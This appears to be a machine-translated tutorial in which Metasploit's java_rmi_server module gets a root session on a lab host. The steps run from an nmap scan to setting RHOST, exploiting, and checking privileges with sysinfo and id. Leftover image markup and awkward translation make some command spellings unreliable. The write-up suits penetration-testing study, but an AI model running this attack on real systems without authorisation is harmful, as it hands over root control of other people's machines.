Metasploit overflow java RMI Server command execution vulnerability

Use the Java RMI Server command to execute the vulnerability to obtain the target host root privilege.

The RMI registry for Java RMI server and the default configuration of the RMI activation Service have security vulnerabilities that can be exploited to cause code execution.

First, using the Nmap tool to scan the target host

The 1.1 uses the Nmap command to scan the target host. Click on the left side of the desktop and select "Open in Terminal" in the context menu.

1.2 Enter the command "NMAP–SV 192.168.1.3" in the terminal, the target host for port scanning, found open 1099 port.

650) this.width=650; "src=" http://s4.51cto.com/wyfs02/M01/8B/56/wKioL1hKNX_ylE4aAAE5IzDVT2U843.jpg "style=" float: none; "title=" 1.jpg "alt=" Wkiol1hknx_yle4aaae5izdvt2u843.jpg "/>

1.3 Enter the command "Msfconsole" in the terminal to launch the MSF terminal.

1.4 Enter the command "search Java_rmi_server" in the terminal to search for RMI related tools and attack loads.

1.5 Enter the command "use Exploit/multi/misc/java_rmi_server" in the terminal to enable the exploit module, and the prompt will prompt you to enter the path.

650) this.width=650; "src=" http://s4.51cto.com/wyfs02/M02/8B/5A/wKiom1hKNYDgJ-DVAACbgOjOXCQ699.jpg "style=" float: none; "title=" 2.jpg "alt=" Wkiom1hknydgj-dvaacbgojoxcq699.jpg "/>

1.6 Enter the command "show options" in the terminal to see the related items that need to be set, and "yes" to indicate the parameters that must be filled in.

1.7 Enter the command "set RHOST 192.168.1.3" in the terminal to set the IP address of the target host.

650) this.width=650; "src=" http://s1.51cto.com/wyfs02/M02/8B/56/wKioL1hKNYHgKVruAADRxk-CWNY263.jpg "style=" float: none; "title=" 3.jpg "alt=" Wkiol1hknyhgkvruaadrxk-cwny263.jpg "/>

1.8 enters "exploit" in the terminal, implements the attack, establishes the connection session after the attack succeeds.

650) this.width=650; "src=" http://s1.51cto.com/wyfs02/M02/8B/56/wKioL1hKNYKyva_6AADGmaqggmg672.jpg "style=" float: none; "title=" 4.jpg "alt=" Wkiol1hknykyva_6aadgmaqggmg672.jpg "/>

1.9 Enter "SysInfo" in the terminal, view the system information, enter the command "Id" to view the user rights.

650) this.width=650; "src=" http://s1.51cto.com/wyfs02/M00/8B/5A/wKiom1hKNYODpkyHAAEBDDCwM2o714.jpg "style=" float: none; "title=" 5.jpg "alt=" Wkiom1hknyodpkyhaaebddcwm2o714.jpg "/>

Metasploit overflow java RMI Server command execution vulnerability